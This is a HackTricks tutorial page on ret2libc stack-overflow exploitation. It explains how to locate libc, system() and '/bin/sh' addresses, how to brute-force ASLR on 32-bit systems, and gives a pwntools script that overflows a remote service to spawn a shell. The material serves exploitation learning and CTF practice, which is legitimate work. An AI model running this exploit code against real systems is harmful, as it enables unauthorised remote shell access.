hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib

Ret2lib

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Basic Information

The essence of Ret2Libc is to redirect the execution flow of a vulnerable program to a function within a shared library (e.g., system, execve, strcpy) instead of executing attacker-supplied shellcode on the stack. The attacker crafts a payload that modifies the return address on the stack to point to the desired library function, while also arranging for any necessary arguments to be correctly set up according to the calling convention.

Example Steps (simplified)

• Get the address of the function to call (e.g. system) and the command to call (e.g. /bin/sh)
• Generate a ROP chain to pass the first argument pointing to the command string and the execution flow to the function

Finding the addresses

• Supposing that the libc used is the one from current machine you can find where it'll be loaded in memory with:

{% code overflow="wrap" %}

ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

{% endcode %}

If you want to check if the ASLR is changing the address of libc you can do:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done

• Knowing the libc used it's also possible to find the offset to the system function with:

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system

• Knowing the libc used it's also possible to find the offset to the string /bin/sh function with:

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Using gdb-peda / GEF

Knowing the libc used, It's also possible to use Peda or GEF to get address of system function, of exit function and of the string /bin/sh :

p system
p exit
find "/bin/sh"

Using /proc/<PID>/maps

If the process is creating children every time you talk with it (network server) try to read that file (probably you will need to be root).

Here you can find exactly where is the libc loaded inside the process and where is going to be loaded for every children of the process.

In this case it is loaded in 0xb75dc000 (This will be the base address of libc)

Unknown libc

It might be possible that you don't know the libc the binary is loading (because it might be located in a server where you don't have any access). In that case you could abuse the vulnerability to leak some addresses and find which libc library is being used:

{% content-ref url="rop-leaking-libc-address/" %} rop-leaking-libc-address {% endcontent-ref %}

And you can find a pwntools template for this in:

{% content-ref url="rop-leaking-libc-address/rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}

Bypassing ASLR in 32 bits

These brute-forcing attacks are only useful for 32bit systems.

• If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems):

for off in range(0xb7000000, 0xb8000000, 0x1000):

• If attacking a remote server, you could try to burte-force the address of the libc function usleep, passing as argument 10 (for example). If at some point the server takes 10s extra to respond, you found the address of this function.

One Gadget

{% content-ref url="../../one-gadget.md" %} one-gadget.md {% endcontent-ref %}

x86 Ret2lib Code Example

In this example ASLR brute-force is integrated in the code and the vulnerable binary is loated in a remote server:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
    p = ""
    p += p32(off + 0x0003cb20) #system
    p += "CCCC" #GARBAGE, could be address of exit()
    p += p32(off + 0x001388da) #/bin/sh
    payload = 'A'*0x20010 + p
    c.send(payload)
    c.interactive()

x64 Ret2lib Code Example

Check the example from:

{% content-ref url="../rop-return-oriented-programing.md" %} rop-return-oriented-programing.md {% endcontent-ref %}

Ret-into-printf (or puts)

This allows to leak information from the process by calling printf/puts with some specific data placed as an argument.

Ret2printf

This basically means abusing a Ret2lib to transform it into a printf format strings vulnerability by using the ret2lib to call printf with the values to exploit it (sounds useless but possible):

{% content-ref url="../../format-strings/" %} format-strings {% endcontent-ref %}

Other Examples & references

• https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
  • Ret2lib, given a leak to the address of a function in libc, using one gadget
• https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
  • 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call system('/bin/sh')
• https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
  • 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget.
• https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html
  • 64 bits, no pie, no canary, no relro, nx. Uses write function to leak the address of write (libc) and calls one gadget.

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Support HackTricks

• Check the subscription plans!
• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

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